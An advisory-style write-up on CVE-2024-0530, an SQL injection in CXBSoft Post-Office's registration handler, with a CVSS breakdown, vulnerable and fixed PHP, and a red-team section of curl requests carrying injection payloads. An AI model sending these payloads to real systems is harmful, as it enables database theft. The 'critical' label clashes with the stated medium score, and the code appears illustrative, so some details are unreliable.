CVE-2024-0530

Executive Summary

CVE-2024-0530 is a critical SQL injection vulnerability in CXBSoft Post-Office up to version 1.0. The flaw resides in the /apps/reg_go.php file, where the username_reg parameter is improperly sanitized, allowing an unauthenticated attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, credential theft, and potential database compromise. The exploit has been publicly disclosed, and no patch is available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public PoC increases risk for exposed instances.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application.

CVSS Breakdown & Threat Level

• CVSS Score: 5.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the public availability of exploit code and the lack of a vendor patch. Attackers can easily enumerate databases and extract sensitive information.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the HTTP POST handler of /apps/reg_go.php. The username_reg parameter is directly concatenated into a SQL query without sanitization or parameterization. An attacker can inject SQL commands to bypass authentication, extract data, or modify database contents.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

$sql = "SELECT * FROM users WHERE username = '$username_reg'";

Exploit Mechanism: By submitting a crafted username_reg value such as ' OR '1'='1, the attacker can manipulate the query logic.

Impact: Unauthorized access to user accounts, extraction of password hashes, and potential privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

$username_reg = $_POST['username_reg'];
$sql = "SELECT * FROM users WHERE username = '$username_reg'";
$result = mysqli_query($conn, $sql);

Patched Code (Parameterized Query):

$username_reg = $_POST['username_reg'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username_reg);
$stmt->execute();
$result = $stmt->get_result();

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target running CXBSoft Post-Office 1.0
• Network access to the /apps/reg_go.php endpoint

Exploit Steps:

1. Identify the target: http://target.com/apps/reg_go.php
2. Send a malicious POST request:

curl -X POST http://target.com/apps/reg_go.php \
  -d "username_reg=' OR '1'='1' -- -&password_reg=test"

3. If successful, the attacker gains access to the first user account.

Advanced SQL Injection (Data Extraction):

curl -X POST http://target.com/apps/reg_go.php \
  -d "username_reg=' UNION SELECT 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